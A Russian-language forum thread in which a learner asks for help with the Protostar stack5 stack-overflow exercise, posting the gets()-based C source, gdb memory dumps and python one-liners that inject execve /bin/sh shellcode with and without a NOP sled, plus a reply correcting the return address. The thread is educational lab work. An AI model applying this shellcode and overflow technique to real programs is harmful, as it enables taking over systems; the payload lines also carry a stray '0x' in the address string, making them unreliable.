• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Помогите с pwn

Good_shark

New member
30.08.2021
4
0
BIT
0
Всем привет! Решила попробовать себя в бинарных уязвимостях, опыта в asm очень мало, поэтому некоторые мои вопросы могут показаться глупыми. Сейчас прохожу задания на Protostar, сижу на stack5.

Вот исходный код:
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

Я смогла получить шелл вот такой командой python -c "print 'a'*48 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\xbf\xff\xf7\x6c'[::-1]" > ~/shell и запуском команды r < ~/shell из gdb, сейчас пробую технику Nop slide и ничего не получается.

Для этого использую команду python -c "print 'a'*76 + '0x\xbf\xff\xf7\x6c'[::-1] + '\x90'*500 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > /home/user/nop, но при запуске r < ~/nop в gdb я получаю Segmentation fault.

Адрес шеллкода я получаю командой x/32x $esp-80 при бряке на ret функции main и отправкой 76 букв A и 4 букв B программе, вот вывод:
Код:
0xbffff75c:    0xb7eada75    0x41414141    0x41414141    0x41414141
0xbffff76c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff77c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff78c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff79c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff7ac:    0x42424242    0x00000000    0xbffff854    0xbffff85c
0xbffff7bc:    0xb7fe1848    0xbffff810    0xffffffff    0xb7ffeff4
0xbffff7cc:    0x08048232    0x00000001    0xbffff810    0xb7ff0626

Почему у меня не работает эта техника атаки? Адрес шеллкода же верный. Прошу помощи(
 
Последнее редактирование:
Решение
Насколько я прочитала, адрес 0xbffff76c является адресом начала шеллкода и на него нужно ссылаться при атаке. При команде python -c "print 'a'*48 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\xbf\xff\xf7\x6c'[::-1]" > ~/shell и r < ~/shell в gdb у меня выходит получить оболочку /bin/dash, но при использовании техники Nop slide с этим адресом ничего не получается.

Я видимо чего-то очень сильно не понимаю...
В первом случае 0xbffff76c - это адрес начала шеллкода.
Но когда вы использовали технику Nop Slice, адрес стал указывать на буквы aaaa. Их ascii код - 0x61 (Для большой A - 0x41). Программа пытается исполнить инструкции...

Good_shark

New member
30.08.2021
4
0
BIT
0
Вот информация с другого источника
Спасибо за ответ! Этот гайд создал ещё больше вопросов, чем ответов... Не понимаю, откуда взялся адрес 0xbffff7d0 и зачем использовать int3 в эксплойте для созданий прерываний, если можно обойтись без них. Ещё не понимаю, зачем прибавлять 30 к адресу ESP. Разве суть Nop slide именно не в том, чтобы указать примерный адрес шеллкода и чтобы программа сама прыгала по нопам, пока не найдет шеллкод, чтобы не мучиться с рандомизацией адресов?
 

Test Inventory

Green Team
04.12.2019
44
1
BIT
25
Спасибо за ответ! Этот гайд создал ещё больше вопросов, чем ответов... Не понимаю, откуда взялся адрес 0xbffff7d0 и зачем использовать int3 в эксплойте для созданий прерываний, если можно обойтись без них. Ещё не понимаю, зачем прибавлять 30 к адресу ESP. Разве суть Nop slide именно не в том, чтобы указать примерный адрес шеллкода и чтобы программа сама прыгала по нопам, пока не найдет шеллкод, чтобы не мучиться с рандомизацией адресов?
я не разбирался в данной статье а только нашел поэтому не могу вам дать ответ... да и знаний в данной теме у меня не так уж и много)
 

ROP

Red Team
27.08.2019
327
663
BIT
150
Проверьте новый адрес возврата (0x\xbf\xff\xf7\x6c), который вы передаёте в эксплоите. Мне кажется, он указывает на буквы aaaa. Из-за этого программа переходит на 0x41414141. Такого адреса в программе нет, поэтому возникает ошибка Segmentation fault.
 
Последнее редактирование:

Good_shark

New member
30.08.2021
4
0
BIT
0
Проверьте новый адрес возврата (0x\xbf\xff\xf7\x6c), который вы передаёте в эксплоите. Мне кажется, он указывает на буквы aaaa. Из-за этого программа переходит на 0x41414141. Такого адреса в программе нет, поэтому возникает ошибка Segmentation fault.
Насколько я прочитала, адрес 0xbffff76c является адресом начала шеллкода и на него нужно ссылаться при атаке. При команде python -c "print 'a'*48 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\xbf\xff\xf7\x6c'[::-1]" > ~/shell и r < ~/shell в gdb у меня выходит получить оболочку /bin/dash, но при использовании техники Nop slide с этим адресом ничего не получается.

Я видимо чего-то очень сильно не понимаю...
 

ROP

Red Team
27.08.2019
327
663
BIT
150
Насколько я прочитала, адрес 0xbffff76c является адресом начала шеллкода и на него нужно ссылаться при атаке. При команде python -c "print 'a'*48 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\xbf\xff\xf7\x6c'[::-1]" > ~/shell и r < ~/shell в gdb у меня выходит получить оболочку /bin/dash, но при использовании техники Nop slide с этим адресом ничего не получается.

Я видимо чего-то очень сильно не понимаю...
В первом случае 0xbffff76c - это адрес начала шеллкода.
Но когда вы использовали технику Nop Slice, адрес стал указывать на буквы aaaa. Их ascii код - 0x61 (Для большой A - 0x41). Программа пытается исполнить инструкции по адресу 0x61616161. Но такого адреса не существует в программе и программа завершается с ошибкой Segmentation fault.

Вам следует увеличить значение нового адреса возврата. Так, чтобы этот адрес указывал на инструкции nop (0x90), а не на aaaa (0x61616161)

Я рекомендую вам изучить сначала реверс-инжиниринг, а затем уже pwn. Эти ИБ области неразрывно связаны.

Хорошие русские видео и таски про pwn и реверс-инжиниринг вы можете найти на канале spbctf.

Для stack5, вы можете попробовать этот вариант эксплоита:

python -c "print 'a'*76 + '0x\xbf\xff\xf8\x6c'[::-1] + '\x90'*500 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > ./nop
 
Решение
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!